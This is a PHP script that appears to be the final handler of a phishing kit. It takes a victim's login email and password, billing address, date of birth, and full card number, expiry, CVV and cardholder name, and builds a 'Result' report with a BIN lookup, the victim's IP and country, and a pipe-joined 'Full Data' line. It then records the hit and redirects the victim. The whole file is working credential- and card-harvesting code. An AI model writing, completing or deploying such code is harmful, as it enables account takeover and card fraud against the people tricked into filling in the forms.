<?php
header('Content-Type: application/json');

// Check if user came from billing
if ($_SESSION['step'] !== 'security' && !isset($_SESSION['data']['billing'])) {
    echo json_encode(['success' => false, 'message' => 'Please complete billing step first']);
    exit;
}

// Get form data
$securityData = [];
foreach ($_POST as $key => $value) {
    $securityData[$key] = sanitizeInput($value);
}

// Store in session
$_SESSION['data']['security'] = $securityData;

// Get visitor info
$visitorInfo = $_SESSION['visitor_info'];
$ip = $visitorInfo['ip'] ?? 'Unknown';
$country = $visitorInfo['country'] ?? 'Unknown';
$countryCode = function_exists('get_country_code') ? get_country_code($country) : 'XX';
$loginData = $_SESSION['data']['login'] ?? ['email' => '', 'password' => ''];
$billingData = $_SESSION['data']['billing'] ?? null;
$ccData = $_SESSION['data']['cc'] ?? null;

// BIN for subject (if CC was submitted)
$binDetails = '';
if ($ccData) {
    $ccNum = $ccData['card_number'] ?? $ccData['number'] ?? '';
    if ($ccNum !== '') $binDetails = function_exists('look_bin') ? look_bin($ccNum) : '';
}
$binPattern = $binDetails ? "[ " . $binDetails . " ]" : "[ - - - - - ]";
$subject = "Result [ Extra info - Billing - CC - Login ] " . $binPattern . " [ " . $countryCode . " - " . $ip . " ]";

$message = "[Extra info]\n\n";

if ($billingData) {
    $message .= "[Billing]\n";
    $message .= "address: " . ($billingData['address1'] ?? $billingData['address_line_1'] ?? '') . "\n";
    $message .= "City: " . ($billingData['city'] ?? '') . "\n";
    $message .= "State: " . ($billingData['state'] ?? '') . "\n";
    $message .= "ZIP Code: " . ($billingData['postal'] ?? $billingData['zipcode'] ?? '') . "\n";
    $message .= "Phone: " . ($billingData['phone'] ?? '') . "\n";
    $message .= "Date Of Birth: " . (function_exists('format_dob_for_result') ? format_dob_for_result($billingData['dob'] ?? '') : ($billingData['dob'] ?? '')) . "\n\n";
}

if ($ccData) {
    $ccNum = $ccData['card_number'] ?? $ccData['number'] ?? '';
    $ccExp = $ccData['expiry'] ?? $ccData['exp_date'] ?? '';
    $ccCvv = $ccData['cvv'] ?? '';
    $ccName = $ccData['cardholder'] ?? $ccData['name'] ?? '';
    $ccFormatted = preg_replace('/\s/', '', $ccNum);
    $message .= "[CC]\n";
    $message .= "Formatted: {$ccFormatted}||\n";
    $message .= "Card Holder: {$ccName}\n";
    $message .= "ccn: {$ccNum}\n";
    $message .= "exp: {$ccExp}\n";
    $message .= "Card CVV: {$ccCvv}\n";
    $message .= "address: " . ($ccData['address'] ?? $ccData['full_address'] ?? '') . "\n";
    $message .= "ZIP Code: " . ($ccData['zip'] ?? $ccData['zip_code'] ?? '') . "\n\n";
}

$message .= "[Login]\n";
$message .= "Formatted: " . ($loginData['email'] ?? '') . "|" . ($loginData['password'] ?? '') . "\n";
$message .= "Email: " . ($loginData['email'] ?? '') . "\n";
$message .= "Password: " . ($loginData['password'] ?? '') . "\n\n\n";

// Full Data line
$fullParts = [];
if ($ccData) {
    $cn = preg_replace('/\s/', '', $ccData['card_number'] ?? $ccData['number'] ?? '');
    $fullParts[] = $cn;
    $ep = explode('/', $ccData['expiry'] ?? $ccData['exp_date'] ?? '');
    $fullParts[] = isset($ep[0]) ? str_pad(trim($ep[0]), 2, '0', STR_PAD_LEFT) : '';
    $yr = isset($ep[1]) ? trim($ep[1]) : '';
    if (strlen($yr) === 2) $yr = '20' . $yr;
    $fullParts[] = $yr;
    $fullParts[] = $ccData['cvv'] ?? '';
    $fullParts[] = $ccData['cardholder'] ?? $ccData['name'] ?? '';
} else {
    $fullParts = ['', '', '', '', ''];
}
$fullParts[] = $billingData['address1'] ?? $billingData['address_line_1'] ?? '';
$fullParts[] = $billingData['city'] ?? '';
$fullParts[] = $billingData['state'] ?? '';
$fullParts[] = $billingData['postal'] ?? $billingData['zipcode'] ?? '';
$fullParts[] = $billingData['phone'] ?? '';
$fullParts[] = $country;
$fullParts[] = (function_exists('format_dob_for_result') ? format_dob_for_result($billingData['dob'] ?? '') : ($billingData['dob'] ?? ''));
$fullParts[] = $loginData['email'] ?? '';
$fullParts[] = $ip;
$fullParts[] = $visitorInfo['useragent'] ?? '';
$message .= "[Full Data]\n" . implode('|', $fullParts) . "\n\n\n";
$message .= formatVisitorInfo($visitorInfo);

if (function_exists('increment_stat')) {
    increment_stat('done');
}

// Update step
$_SESSION['step'] = 'done';

$response = json_encode([
    'success' => true,
    'message' => 'Security data saved',
    'redirect' => '/done'
]);
if (function_exists('send_json_then_close_connection')) {
    send_json_then_close_connection($response);
} else {
    echo $response;
    exit;
}
exit;
